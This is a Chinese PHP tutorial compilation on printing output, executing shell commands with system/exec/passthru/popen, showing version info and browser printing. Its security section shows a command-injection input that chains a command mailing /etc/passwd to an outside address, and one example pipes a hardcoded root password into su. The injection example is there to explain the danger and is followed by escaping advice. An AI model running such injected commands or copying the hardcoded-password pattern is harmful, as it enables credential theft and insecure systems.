本篇文章给大家谈谈PHP文件怎么打印,以及php 打印对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
- 1、在php命令行业中怎样打印内容
- 2、怎么打印php版本信息
- 3、怎样打印出文件夹下所有的文件名?
- 4、PHP:如何在控制台输出内容呢?求解
- 5、php实现打印的代码??
- 6、2.php如何打印一个对象或数组到桌面上
在php命令行业中怎样打印内容
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
复制代码
代码如下:
?php
system("/usr/local/bin/webalizer/webalizer");
?
exec()
原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
复制代码
代码如下:
?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?
passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
复制代码
代码如下:
?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?
2)
用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
复制代码
代码如下:
?php
$fp=popen("/bin/ls -l", "r");
?
例子2:
复制代码
代码如下:
?php
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?
3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
复制代码
代码如下:
?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看
要考虑两个问题:安全性和超时。
先
看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:
复制代码
代码如下:
?php
system("mail $to
products.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com /etc/passwd ; products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸
好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向()和从文件读入
()等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:
复制代码
代码如下:
?php
system("/usr/local/bin/order_proc /tmp/null ");
?
怎么打印php版本信息
Php的版本控制一直也是一个比较棘手的问题,因为版本不同导致有许多功能不能很好的实现,所以当程序上传到空间的时候一定要对版本进行有效的控制,这样可以避免不必要的麻烦产生。那么如何查看当前你的php版本呢?下面提供两种方法帮你查看你的php版本。
使用phpinfo()函数,该函数就是用来显示php服务器的配置信息,在你的环境下创建一个php文件,在里面数据下面代码,然后执行就会打印出下面结果,可以清楚的看到,你当前php的版本,已经php、apache、mysql等配置信息。
?php
Phpinfo();
?
使用phpsersion()函数,这个函数的原型是string phpversion(void);返回的一个string,本函数是返回php版本信息,创建一个php文件,输入以下代码,就可以在浏览器中看到返回的php的版本信息了。
?php
echo phpversion();
?
怎样打印出文件夹下所有的文件名?
1、现在电脑中新建一个文本文档,双击打开文档。
2、直接在文档中输入@Echo off dir /btest.txt。
3、然后点击“文件”中的“另存为”,将新建文档改名为“复制文件名称.bat”(保证设置了显示扩展名的情况下)。
4、将生成的批处理文件放入需要提取文件名的文件夹中。
5、双击打开该程序即可自动在当前文件夹中生成一个“test”名称的文本文档。
6、打开该文本文档即可看到已经将文件夹中文件的所有名称都提取了。
7、然后点击文本文档左上角的“文件”选项,选择其中的“ 打印”按钮即可进行打印。
PHP:如何在控制台输出内容呢?求解
使用echo、print_r 等输出函数,其步骤如下:
需要准备的材料分别是:电脑、php编辑器、浏览器。
1、首先,打开php编辑器,新建php文件,例如:index.php。
2、在index.php中,输入代码:echo 'hello, world!br/';print_r([1, 2]);。
3、浏览器运行index.php页面,此时发现相关内容被输出了。
php实现打印的代码??
分二种情况:
第一种打印到屏上,超简单就用
?
echo ("PHP代码段打钱中...");
?
第二种,打印到打印机,这种大多都是用JS方法:
1【a href='javascript:window.print()'打印此页/a】
2.若为按钮 input type="submit" value="打印" onClick="javascript:window.print()"/
3.
Javascript代码:
script language="javascript" type="text/javascript"
function printsetup(){wb.execwb(8,1); }
function printpreview(){wb.execwb(7,1);}
function printit(){wb.execwb(6,6)}
function printclose(){wb.execwb(45,1);}
//WebBrowser.ExecWB(1,1) 打开
//Web.ExecWB(2,1) 关闭现在所有的IE窗口,并打开一个新窗口
//Web.ExecWB(4,1) 保存网页
//Web.ExecWB(6,1) 打印
//Web.ExecWB(7,1) 打印预览
//Web.ExecWB(8,1) 打印页面设置
//Web.ExecWB(10,1) 查看页面属性
//Web.ExecWB(15,1) 好像是撤销,有待确认
//Web.ExecWB(17,1) 全选
//Web.ExecWB(22,1) 刷新
//Web.ExecWB(45,1) 关闭窗体无提示
/script
CSS代码:
style media="print" type="text/css"
.Noprint{display:none;}
.NextPage{page-break-before:always;}
/style
网页代码:
object id="wb" height="0" "width=0" classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" name="wb"/object
div class="Noprint" style="text-align: right;border: 1px solid #99BCFC;margin:0px 5px 0px 5px;padding:2px 5px 2px 5px;background-color: #EBF1FA;"
input type="button" onclick="javascript:printsetup();" name="button2" id="button2" value="页面设置"/
input type="button" onclick="javascript:printpreview();" name="button3" id="button3" value="打印预览"/
input type="button" onclick="javascript:printit();" name="button4" id="button4" value="打印"/
input type="button" onclick="javascript:printclose();" name="button" id="button" value="关闭"/
/div
2.php如何打印一个对象或数组到桌面上
php打印一个对象或数组到到桌面上:
1、打印数组使用print_r ( $array/$var )
print 是打印的意思,而r则取自Array的单词,那么该函数的功能就是打印数组内容,它既可以打印数组内容,也可以打印普通的变量。
print_r ($_REQUEST) ;
print_r ($_GET) ; /* 打印使用GET方法传递的表单内容*/
print_r($_POST) ; /* 打印使用表单POST方法传递过的数组内容*/
2、打印对象使用var_dump ($object/$array/$var)
var 代表变量(Variable),变量包括对象、数组以及标量变量,dump有倒出之意,加在一块,就是将变量或对象的内容全部输出出来。
var_dump($DB) ; /*打印$DB数据库连接对象的内容*/
var_dump($fileHandle) ; /*打印文件句柄对象的内容*/
var_dump($Smarty) ; /*打印Smarty模板对象*/
关于PHP文件怎么打印和php 打印的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。
2、本站永久网址:https://www.yuanmacun.com
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
源码村资源网 » PHP文件怎么打印(php 打印)